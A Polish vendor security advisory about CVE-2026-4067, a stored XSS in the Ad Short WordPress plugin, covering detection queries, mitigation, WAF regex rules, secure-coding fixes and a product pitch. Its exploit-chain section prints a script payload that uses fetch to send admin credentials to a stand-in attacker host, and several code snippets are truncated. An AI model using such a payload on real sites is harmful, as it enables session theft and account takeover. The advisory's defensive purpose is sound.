| Nazwa wtyczki | Wtyczka Ad Short WordPress |
|---|---|
| Rodzaj podatności | Atak typu cross-site scripting (XSS) |
| Numer CVE | CVE-2026-4067 |
| Pilność | Średni |
| Data publikacji CVE | 2026-03-23 |
| Adres URL źródła | CVE-2026-4067 |
Uwierzytelniony wkład przechowywany XSS w Ad Short (≤ 2.0.1) — co to oznacza i jak WP-Firewall cię chroni
Opis: Analiza techniczna i praktyczne rozwiązanie dla CVE-2026-4067 — uwierzytelniony wkład przechowywany XSS za pomocą atrybutu shortcode “client” w wtyczce Ad Short. Wskazówki od WP-Firewall dotyczące wykrywania, łagodzenia, wirtualnego łatania i długoterminowego wzmacniania.
Data: 2026-03-23
Autor: Zespół ds. bezpieczeństwa WP-Firewall
Tagi: wordpress, bezpieczeństwo, xss, waf, podatność, reakcja na incydenty
Podsumowanie (TL;DR)
Przechowywana podatność na Cross-Site Scripting (XSS) wpływająca na wtyczkę Ad Short (wersje ≤ 2.0.1, CVE-2026-4067) pozwala uwierzytelnionemu wkładowi na przesłanie specjalnie przygotowanej wartości w atrybucie shortcode “client”, która jest przechowywana i renderowana bez odpowiedniego oczyszczenia. Po renderowaniu złośliwy ładunek wykonuje się w kontekście użytkowników, którzy przeglądają dotkniętą stronę (w tym użytkowników z wyższymi uprawnieniami), narażając odwiedzających stronę i administratorów na ataki oparte na skryptach. Ten post wyjaśnia szczegóły techniczne, scenariusze wykorzystania, kroki wykrywania, łagodzenia (w tym wirtualne łatanie z WP-Firewall) oraz listę kontrolną reakcji na incydenty, którą możesz śledzić już teraz.
Spis treści
- Tło i zakres
- Analiza techniczna: jak działa luka
- Scenariusze oddziaływania i eksploatacji w świecie rzeczywistym
- Dowód koncepcji (bezpieczny przykład ilustracyjny)
- Jak wykryć, czy jesteś dotknięty (badania i zapytania)
- Natychmiastowe środki zaradcze, które możesz zastosować teraz
- Jak WAF (Web Application Firewall) i wirtualne łatanie cię chronią
- Zalecane trwałe poprawki i bezpieczne kodowanie
- Lista kontrolna odzyskiwania po incydencie i audytu
- Wskazówki dotyczące wzmacniania i długoterminowe najlepsze praktyki
- Zabezpiecz swoją stronę dzięki darmowej ochronie WP-Firewall
- Dodatek: przydatne polecenia, fragmenty kodu i przykłady reguł WAF
Tło i zakres
W dniu 23 marca 2026 roku problem przechowywanego XSS wpływający na Ad Short (≤ 2.0.1) został publicznie udokumentowany jako CVE-2026-4067. Główny problem: atrybut shortcode o nazwie klient jest akceptowany od użytkownika z rolą Wkładowcy (lub równoważnym poziomem uprawnień), przechowywany w bazie danych i później wyświetlany na stronie bez odpowiedniego oczyszczenia/enkodowania. Wkładcy są powszechni na stronach z wieloma autorami (mogą tworzyć posty, ale zazwyczaj nie publikują). Ponieważ wtyczka traktuje zawartość atrybutu jako bezpieczny HTML (lub wyświetla go surowo), przechowywane złośliwe skrypty utrzymują się i wykonują w przeglądarkach odbiorców, gdy strony są przeglądane.
Podatność otrzymała ocenę ciężkości podobną do CVSS w niektórych raportach na poziomie 6.5 — średnia — co odzwierciedla, że wymaga uwierzytelnionego dostępu (wkładca) i pewnej interakcji użytkownika, ale nadal może pozwalać na wpływowe działania (kradzież sesji, przejęcie konta, zniekształcenie strony, trwałe tylne drzwi).
Przeanalizujemy, co to oznacza i przedstawimy konkretne, wykonalne kroki, które właściciele i administratorzy stron WordPress mogą podjąć natychmiast.
Analiza techniczna: jak działa luka
Przechowywane XSS zazwyczaj obejmuje trzy kroki:
- Atakujący przechowuje złośliwy ładunek w aplikacji (w tym przypadku jako atrybut shortcode).
- Aplikacja zapisuje ten ładunek w trwałej pamięci (bazie danych).
- Później zapisany ładunek jest renderowany na stronie bez odpowiedniego uciekania/enkodowania wyjścia, a przeglądarka wykonuje wstrzyknięty JavaScript w kontekście witryny.
W przypadku tego problemu z Ad Short:
- Wektor wejściowy: wtyczka przetwarza shortcode, np.
[ad client="..."]lub podobny. Atrybutklientjest akceptowany za pośrednictwem formularza edytora WordPress i zapisywany. - Autoryzacja: konto na poziomie Współpracownika (lub rola o podobnych uprawnieniach) może dostarczyć atrybut. Współpracownicy zazwyczaj nie mogą publikować, ale mogą przesyłać posty do recenzji. W wielu przepływach pracy redaktorzy lub administratorzy podglądają lub publikują treści przesyłane przez współpracowników — to tam wykonuje się zapisany ładunek.
- Luka w sanitizacji: kod wtyczki nie sanitizuje ani nie ucieka atrybutu przed zapisaniem lub przed jego późniejszym wyświetleniem. Nawet jeśli zapis jest ograniczony, wyjście jest kluczowym problemem — przeglądarka wykonuje ładunki skryptów osadzone w atrybucie lub otaczającym HTML.
Dlaczego to jest niebezpieczne, mimo że współpracownik ma niskie uprawnienia:
- Współpracownicy są często legalnymi użytkownikami z możliwością pisania; mogą być manipulowani społecznie lub skompromitowani.
- Ładunek może być przechowywany w treści, która będzie wyświetlana przez administratorów lub innych użytkowników z uprawnieniami (ekrany podglądu, listy postów lub obszary widgetów).
- Przechowywane XSS działa w przeglądarce widza z ich uprawnieniami: sesje administratora, dostęp do ciasteczek lub możliwość wydawania uwierzytelnionych działań za pomocą wywołań AJAX.
Scenariusze oddziaływania i eksploatacji w świecie rzeczywistym
Przechowywane XSS może umożliwić atakującym:
- Kradzież ciasteczek i tokenów sesji — jeśli nie są odpowiednio chronione — prowadząc do kompromitacji konta.
- Wykonywanie działań jako administrator za pomocą przesyłania formularzy sterowanych skryptami lub wywołań REST API (tworzenie użytkowników, zmiana opcji).
- Wstrzykiwanie trwałego zniekształcenia lub złośliwej treści, która wpływa na SEO i zaufanie użytkowników.
- Instalowanie tylnej furtki poprzez przesyłanie złośliwych skryptów lub wstrzykiwanie złośliwego oprogramowania do stron.
- Ruch boczny: jeśli atakujący może podnieść swoje uprawnienia, kompromitując użytkownika, który ma bogatsze możliwości, mogą całkowicie przejąć witrynę.
Przykładowy łańcuch eksploatacji na podatnej stronie:
- Atakujący rejestruje lub przejmuje konto współpracownika (lub strona akceptuje posty gościnne i mapuje na współpracownika).
- Tworzą post, używając
[ad client="..."]shortcode, w którym klient umieszcza ładunek skryptu, np.<script>fetch('https://attacker/p', {credentials: 'include'})</script>. - Edytor/admin podgląda lub publikuje post (lub strona wyświetla shortcode w widżecie lub obszarze front-end), złośliwy skrypt wykonuje się w przeglądarce administratora.
- Skrypt przechwytuje nonce REST API administratora lub ciasteczko sesyjne (jeśli dostępne) i wysyła je do atakującego, który następnie używa go do wykonywania uprzywilejowanych wywołań API z ich strony lub do przejęcia konta.
Uwaga: nowoczesne strony WordPress korzystające z bezpiecznych ciasteczek (HTTPOnly, SameSite) i odpowiednich zabezpieczeń CSRF utrudniają niektóre ataki, ale przechowywane XSS pozostaje poważnym ryzykiem, ponieważ może prowadzić do innych eksploatacji i wycieków danych.
Dowód koncepcji (bezpieczny przykład ilustracyjny)
Poniżej znajduje się ilustracyjny (niewykonywalny) przykład złośliwej wartości atrybutu, którą atakujący mógłby próbować wstawić. NIE uruchamiaj tego na żadnej działającej stronie. To jest pokazane tylko w celach edukacyjnych i detekcyjnych.
Przykład niebezpiecznej zawartości atrybutu (co atakujący mógłby przechować):
client="'
Dlaczego to by działało: jeśli wtyczka wyświetla atrybut bezpośrednio w HTML (bez ucieczki), to <script> tag wykonuje się w kontekście strony.
Bezpieczniejsza funkcja wyjściowa wykonałaby ucieczkę, jak:
- Jeśli umieszczone w atrybucie HTML: użyj
esc_attr() - Jeśli wstawione do zawartości HTML: użyj
esc_html()Lubwp_kses()z listą dozwoloną - Jeśli wyjście do kontekstu JS: zakoduj w JSON i odpowiednio uciekaj (
wp_json_encodezesc_js())
Jak wykryć, czy jesteś dotknięty (badania i zapytania)
Jeśli używasz wtyczki Ad Short lub jesteś odpowiedzialny za instancję WordPress, uruchom te kontrole natychmiast.
- Zidentyfikuj wersję wtyczki
Panel → Wtyczki → sprawdź wersję Ad Short. Dotknięte: wersje ≤ 2.0.1. - Wyszukaj posty i metadane pod kątem podejrzanych atrybutów shortcode
Użyj WP-CLI lub bezpośrednich zapytań SQL, aby znaleźć posty zawierające shortcodes lub podejrzane treści.
WP-CLI:
# Znajdź posty, które zawierają shortcode 'ad' lub atrybut 'client='
Bezpośrednie SQL (zmień prefiks tabeli, jeśli to konieczne):
SELECT ID, post_title;
- Wyszukaj wp_postmeta i inne tabele specyficzne dla wtyczek
Niektóre wtyczki zapisują atrybuty shortcode w postmeta. Szukaj ciągów takich jak ‘client’ lub tagi skryptów.
SQL:
SELECT post_id, meta_key, meta_value;
- Wyszukaj użytkowników, komentarze, widżety i wartości opcji
Napastnicy czasami ukrywają ładunki w tekście widżetów, komentarzach lub opcjach. Przeprowadź wyszukiwania w wp_options, wp_comments i widżetach. - Skanuj pliki i bazę danych pod kątem nietypowych zmian
– Czy znaczniki czasowe plików zmieniły się ostatnio? Nieznane pliki w uploads?
– Porównaj kopie zapasowe z aktualnym stanem. - Użyj skanera złośliwego oprogramowania (lub skanera WP-Firewall)
Uruchom skanowanie złośliwego oprogramowania, które sprawdza skrypty inline w postach, nieoczekiwane base64, długie losowe ciągi i znane wzorce XSS.
Natychmiastowe środki zaradcze, które możesz zastosować teraz
Jeśli podejrzewasz, że jesteś dotknięty lub chcesz zapobiec wykorzystaniu, podczas gdy trwa stosowanie trwałej poprawki, natychmiast zrób następujące:
- Wyłącz lub usuń wtyczkę Ad Short
Poprzez Dashboard lub WP-CLI:
wp plugin dezaktywuj ad-short
wp plugin odinstaluj ad-short
Jeśli nie możesz odinstalować (z powodów łamiących stronę), przejdź do wirtualnego łatania poniżej. - Ogranicz publikowanie i przeglądaj treści z kont współtwórców.
Tymczasowo zmień przepływ pracy: zabroń współtwórcom być podglądanym przez administratorów lub wstrzymaj publikowanie, aż treść zostanie audytowana.
Tymczasowo zdegradować lub wyłączyć podejrzane konta współtwórców. - Sprawdź i oczyść treści.
Użyj powyższych wyszukiwań SQL/WP-CLI. Usuń lub oczyść podejrzane atrybuty klientów i tagi skryptów. Przykład zastąpienia WP-CLI (uważaj, najpierw zrób kopię zapasową bazy danych):
wp db query "UPDATE wp_posts SET post_content = REPLACE(post_content, '<script', '<script') WHERE post_content LIKE '%<script%';"
Używać wp post update z oczyszczoną treścią, jeśli wolisz edytowanie programowe.
- Rotuj klucze i poświadczenia
Wymuś resetowanie haseł dla administratorów i wszelkich kont, które mogły zostać narażone.
Rotuj klucze API, klucze tajne i zmień sole wwp-config.phpw razie potrzeby (pamiętaj, że zmiana soli unieważni sesje). - Skanuj w poszukiwaniu dodatkowych tylni drzwi
Sprawdź przesyłane pliki pod kątem plików PHP w uploads/ (nie powinny tam być).
Sprawdź nieoczekiwane mu-wtyczki lub pliki wtyczek, które zostały niedawno zmodyfikowane. - Włącz politykę bezpieczeństwa treści (CSP) jako obronę w głębi.
Restrukcyjna CSP może ograniczyć wpływ wstrzykniętych skryptów inline. Użyj polityki, która zabrania skryptów inline i pozwala tylko na znane skrypty według hasha lub źródła.
Przykład nagłówka (może wymagać dostosowania do twojej strony):
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.example; object-src 'none'; base-uri 'self';
Uwaga: CSP może łamać motywy i wtyczki, które polegają na skryptach inline; testuj ostrożnie.
Jak WAF (Web Application Firewall) i wirtualne łatanie cię chronią
Jeśli nie możesz natychmiast usunąć wtyczki lub potrzebujesz szybkiej bariery ochronnej, WAF z wirtualnym łataniem jest niezbędny. WP-Firewall oferuje zarządzane zasady WAF i wirtualne łatanie, które blokują lub neutralizują próby wykorzystania bez czekania na oficjalną łatkę wtyczki.
Co wirtualne łatanie robi w tym przypadku:
- Wykrywa i blokuje ładunki, które pasują do wzorców XSS w atrybucie klienta i innych polach treści.
- Neutralizuje tagi skryptów i obsługiwacze zdarzeń obecne w atrybutach shortcode w trakcie wyjścia (filtrowanie odpowiedzi) lub blokuje żądanie podczas zapisu (filtrowanie żądania).
- Powstrzymuje próby ładowania zewnętrznych zasobów kontrolowanych przez atakującego, blokując żądania, które pasują do znanych złośliwych domen lub wzorców.
- Dodaje logowanie i powiadamianie, aby administratorzy wiedzieli, czy miały miejsce próby wykorzystania.
Przykłady ochron WAF, które powinieneś zastosować natychmiast:
- Blokuj żądania POST, które zawierają tagi skryptów lub obsługiwacze zdarzeń w polach przeznaczonych na krótki tekst.
- Dodaj zasady na poziomie odpowiedzi, aby usunąć lub zakodować podejrzaną zawartość atrybutów, zanim dotrze do przeglądarki.
- Ogranicz liczbę kont na poziomie współtwórcy i blokuj podejrzaną aktywność sesji.
Poniżej znajdują się przykłady pomysłów na zasady WAF (ogólne, dostosowalne do twojego WAF):
- Blokuj, jeśli ciało POST zawiera
<script>LubJavaScript:w wartościach atrybutów:
Wyrażenie regularne:(?i)<\s*script\b|javascript\s*: - Blokuj, jeśli wartość atrybutu zawiera
onerror=,ładowanie=,onclick=itp.
Wyrażenie regularne:(?i)on\w+\s*=
Ważny: te zasady powinny być stosowane ostrożnie, aby uniknąć fałszywych pozytywów (niektóre legalne treści mogą zawierać te tokeny). Najpierw użyj konserwatywnego blokowania z powiadamianiem, a następnie przejdź do blokowania po dostrojeniu.
WP-Firewall może wdrożyć dostosowane zasady dla twojej witryny, aby zminimalizować fałszywe pozytywy, jednocześnie zapewniając natychmiastową ochronę.
Zalecane trwałe poprawki i bezpieczne kodowanie
Prawdziwym rozwiązaniem jest zaktualizowanie wtyczki do poprawionej wersji, która prawidłowo sanitizuje i ucieka dane wejściowe i wyjściowe. Jeśli oficjalna łatka nie jest jeszcze dostępna, właściciele witryn lub deweloperzy powinni zastosować lokalne poprawki bezpiecznego kodu (mała wtyczka kompatybilności lub mu-wtyczka do sanitizacji problematycznego wyjścia shortcode) lub zastąpić funkcjonalność wtyczki znanym bezpiecznym zamiennikiem.
Wskazówki dla autorów wtyczek (jak naprawić kod):
- Oczyść dane wejściowe przed zapisaniem
Używaćdezynfekuj_pole_tekstowe()jeśli atrybut ma być zwykłym tekstem.
Jeśli ograniczony HTML musi być dozwolony, użyjwp_kses()z rygorystyczną białą listą.
$client = isset( $atts['client'] ) ? wp_kses( $atts['client'], array() ) : '';
(aby całkowicie usunąć HTML)
- Ucieczka na wyjściu
Podczas wyświetlania wewnątrz atrybutów HTML:echo esc_attr( $client );
Podczas wyświetlania wewnątrz treści HTML:echo esc_html( $client );
Gdy używane w kontekstach JavaScript, użyjwp_json_encode()Iesc_js(). - Unikaj zapisywania nieufnego HTML
Współtwórcy nigdy nie powinni mieć możliwości zapisywania nieprzefiltrowanego HTML. Możliwość WordPressaOgranicz uprawnienia użytkowników: obniż lub usuń możliwości z niezaufanych kont i przeglądaj role zjest potężna i powinna być ograniczona do administratorów. - Dodaj walidację po stronie serwera i logowanie
Rejestruj próby przesyłania oczywiście złośliwej treści i monitoruj powtarzające się próby.
Przykładowy bezpieczny handler shortcode (koncepcyjny):
function safe_ad_shortcode( $atts ) {'<div class="ad-client">' . esc_html( $client ) . '</div>';
To zapewnia, że żadne tagi skryptów, atrybuty ani obsługiwacze zdarzeń nie przetrwają.
Lista kontrolna odzyskiwania po incydencie i audytu
Jeśli zidentyfikowałeś aktywne wykorzystanie lub potwierdzony przypadek przechowywanego XSS, postępuj zgodnie z tą listą kontrolną:
- Ograniczenie
– Natychmiast dezaktywuj wtyczkę.
– Tymczasowo zablokuj tworzenie kont współtwórców i wymagaj zatwierdzenia administratora dla nowych kont. - Eradykacja
– Usuń złośliwą treść z postów, meta, widgetów i opcji.
– Usuń wszelkie webshale, nieoczekiwane pliki PHP lub zadania cron pozostawione przez atakujących. - Rotacja poświadczeń
– Wymuś resetowanie haseł dla wszystkich kont administracyjnych i uprzywilejowanych użytkowników.
– Unieważnij sesje, zmieniając sole wwp-config.php(uwaga: przekaż to użytkownikom). - Komunikacja
– Powiadom dotkniętych użytkowników, jeśli dane osobowe mogły zostać wykradzione.
– Jeśli jesteś zarządzanym hostem, poinformuj odpowiednich interesariuszy. - Powrót do zdrowia
– Przywróć czyste kopie zapasowe, jeśli to konieczne (upewnij się, że luka została usunięta przed przywróceniem).
– Ponownie skanuj i monitoruj logi pod kątem kontynuowanej aktywności atakującego. - Audyt po incydencie
– Przejrzyj logi dostępu w poszukiwaniu podejrzanych żądań POST/GET w czasie, gdy treść była zapisywana.
– Sprawdź wskaźniki eskalacji uprawnień i nowo utworzonych użytkowników admina. - Wprowadź środki zapobiegawcze
– Wzmocnij uprawnienia, usuń niepotrzebne wtyczki i postępuj zgodnie z poniższymi krokami zapobiegawczymi.
Wskazówki dotyczące wzmacniania i długoterminowe najlepsze praktyki
- Stosuj zasadę najmniejszych uprawnień
Daj użytkownikom tylko te możliwości, których potrzebują. Ponownie oceniaj role co miesiąc. - Wymuszaj bezpieczne kodowanie dla wtyczek i motywów
Wszyscy deweloperzy powinni sanitizować dane wejściowe i uciekać się do zabezpieczeń na wyjściu. Postępuj zgodnie z standardami kodowania WordPressa. - Zastosuj automatyczne monitorowanie i skanowanie bezpieczeństwa
Regularnie skanuj w poszukiwaniu złośliwego oprogramowania, podejrzanej treści i zmian w plikach. - Używaj zarządzanego WAF i wirtualnego łatania
WAF skraca czas ochrony, gdy nowe luki są ujawniane. - Chroń obszar administracyjny
Ogranicz dostęp według IP tam, gdzie to możliwe, użyj 2FA i ogranicz dostęp do REST API tam, gdzie to możliwe. - Kopie zapasowe i odzyskiwanie danych
Utrzymuj regularne, testowane kopie zapasowe przechowywane w zewnętrznej lokalizacji z wersjonowaniem. - Monitoruj logi i alerty
Sprawdź dzienniki dostępu i alerty WAF pod kątem wzorców ładunków, takich jak<script,JavaScript:,onerror=itd. - Wdrażaj bezpieczny cykl życia rozwoju
Skanowanie podatności niestandardowych wtyczek i audyty stron trzecich zmniejszają ryzyko.
Zabezpiecz swoją stronę dzięki darmowej ochronie WP-Firewall
Szybko chroń swoją stronę — zacznij od WP-Firewall Basic (darmowy)
Jeśli potrzebujesz natychmiastowej, praktycznej ochrony podczas badania lub do czasu dostępności aktualizacji wtyczki, WP-Firewall oferuje darmowy plan Basic, który zapewnia podstawową ochronę dla stron WordPress:
- Zarządzany firewall z regułami w czasie rzeczywistym
- Nielimitowana przepustowość i solidny WAF
- Skaner złośliwego oprogramowania do znajdowania przechowywanych ładunków i podejrzanej zawartości
- Wirtualna mitigacja dla ryzyk OWASP Top 10, w tym wzorców przechowywanego XSS
Zarejestruj się w darmowym planie i zacznij chronić swoją stronę od razu:
https://my.wp-firewall.com/buy/wp-firewall-free-plan/
Jeśli chcesz wyższego poziomu zabezpieczeń, nasze plany Standard i Pro dodają automatyczne usuwanie, zaawansowane kontrole blokowania, wirtualne łatanie i raportowanie, aby przyspieszyć odzyskiwanie i wzmacnianie.
Dodatek: przydatne polecenia, fragmenty kodu i przykłady reguł WAF
A. Wyszukaj i zamień podejrzaną zawartość (najpierw zrób kopię zapasową bazy danych)
# Zrób zrzut SQL przed próbą zamiany"
B. Fragment PHP do wirtualnego łatania wyjścia shortcode za pomocą mu-plugin
Umieść w wp-content/mu-plugins/virtual-patch-adshort.php
<?php'<div class="ad-client">' . esc_html( $atts['client'] ) . '</div>';
C. Przykładowe ogólne wzorce reguł WAF (koncepcyjne)
- Blokuj POST-y zawierające w polach formularzy:
Wyrażenie regularne:(?i)(<\s*script\b|javascript\s*:|on\w+\s*=) - Wykrywaj ładunki przypominające skrypty w wartościach atrybutów:
Wyrażenie regularne:(?i)client\s*=\s*"(?:[^"]*(<\s*script\b)[^"]*)"
To są koncepcyjne i muszą być dostosowane do twojego środowiska.
D. Komendy WP-CLI do listowania użytkowników i ostatnich logowań
# Lista wszystkich użytkowników z rolami
Ostateczne słowa od WP-Firewall (praktyczne, szczere porady)
Przechowywane XSS pozostaje jednym z najskuteczniejszych sposobów, w jakie atakujący kompromitują witryny WordPress, ponieważ wykorzystuje legalną funkcjonalność (shortcodes, treść postów) i zaufane role użytkowników. Konto współpracownika nie wydaje się niebezpieczne, dopóki nie zdasz sobie sprawy, że ich wkład jest widoczny dla redaktorów i administratorów. Najlepsza obrona jest warstwowa: łatanie i bezpieczne kodowanie tam, gdzie to możliwe, oraz zarządzany WAF i monitorowanie złośliwego oprogramowania, które działa natychmiast po ujawnieniu luk.
Jeśli znajdziesz ten rodzaj luki na swojej stronie i potrzebujesz pomocy w triage'u lub stosowaniu wirtualnych poprawek, podczas gdy pracujesz nad trwałym rozwiązaniem, darmowy plan WP-Firewall zapewnia praktyczne zabezpieczenia, które mogą znacznie zmniejszyć natychmiastowe ryzyko. Zarejestruj się i wprowadź tę pierwszą linię obrony: https://my.wp-firewall.com/buy/wp-firewall-free-plan/
Jeśli potrzebujesz pomocy w dochodzeniu lub tworzeniu dostosowanych reguł WAF dla swojej strony, skontaktuj się z naszym zespołem ds. bezpieczeństwa za pośrednictwem pulpitu nawigacyjnego WP-Firewall — zajmujemy się awaryjnymi wirtualnymi poprawkami, zasadami sanitizacji treści i wzmocnieniem po incydencie, aby pomóc ci szybko i bezpiecznie wrócić do normy.
Bądź bezpieczny i traktuj każdy wkład treści od niezaufanych użytkowników jako potencjalnie szkodliwy, dopóki nie zostanie zsanitizowany i zweryfikowany.
— Zespół bezpieczeństwa WP-Firewall
